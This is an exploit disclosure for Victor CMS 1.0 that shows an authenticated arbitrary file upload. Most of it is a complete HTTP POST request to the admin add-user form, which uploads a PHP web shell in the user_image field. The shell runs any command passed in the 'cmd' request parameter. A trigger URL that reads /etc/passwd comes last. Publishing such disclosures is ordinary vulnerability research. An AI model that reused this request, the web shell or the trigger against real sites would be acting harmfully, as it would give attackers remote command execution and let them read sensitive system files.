Victor CMS 1.0 Shell Upload

`# Exploit Title: Victor CMS 1.0 - Authenticated Arbitrary File Upload  
# Google Dork: N/A  
# Date: 2020-05-19  
# Exploit Author: Kishan Lal Choudhary  
# Vendor Homepage: https://github.com/VictorAlagwu/CMSsite  
# Software Link: https://github.com/VictorAlagwu/CMSsite/archive/master.zip  
# Version: 1.0  
# Tested on: Windows 10  
  
Description: The GET parameter '/admin/users.php?source=add_user' is vulnerable Arbitary File Uploads  
  
  
POST /admin/users.php?source=add_user HTTP/1.1  
Host: localhost  
Content-Length: 1049  
Cache-Control: max-age=0  
Upgrade-Insecure-Requests: 1  
Origin: http://localhost  
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryrMPNq33u6rCpEFhB  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9  
Referer: http://localhost/admin/users.php?source=add_user  
Accept-Encoding: gzip, deflate  
Accept-Language: en-GB,en;q=0.9,en-US;q=0.8,fr;q=0.7  
Cookie: PHPSESSID=cjpan858fghefnjse7qv1j3v72  
Connection: close  
  
------WebKitFormBoundaryrMPNq33u6rCpEFhB  
Content-Disposition: form-data; name="user_name"  
  
test  
------WebKitFormBoundaryrMPNq33u6rCpEFhB  
Content-Disposition: form-data; name="user_firstname"  
  
test  
------WebKitFormBoundaryrMPNq33u6rCpEFhB  
Content-Disposition: form-data; name="user_lastname"  
  
test  
------WebKitFormBoundaryrMPNq33u6rCpEFhB  
Content-Disposition: form-data; name="user_image"; filename="exp.php"  
Content-Type: application/octet-stream  
  
<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>  
------WebKitFormBoundaryrMPNq33u6rCpEFhB  
Content-Disposition: form-data; name="user_role"  
  
Admin  
------WebKitFormBoundaryrMPNq33u6rCpEFhB  
Content-Disposition: form-data; name="user_email"  
  
[email protected]  
------WebKitFormBoundaryrMPNq33u6rCpEFhB  
Content-Disposition: form-data; name="user_password"  
  
test@1234  
------WebKitFormBoundaryrMPNq33u6rCpEFhB  
Content-Disposition: form-data; name="create_user"  
  
Add User  
------WebKitFormBoundaryrMPNq33u6rCpEFhB--  
  
  
  
The Shell can be triggered by visting  
  
http://localhost/img/exp.php?cmd=cat%20/etc/passwd  
`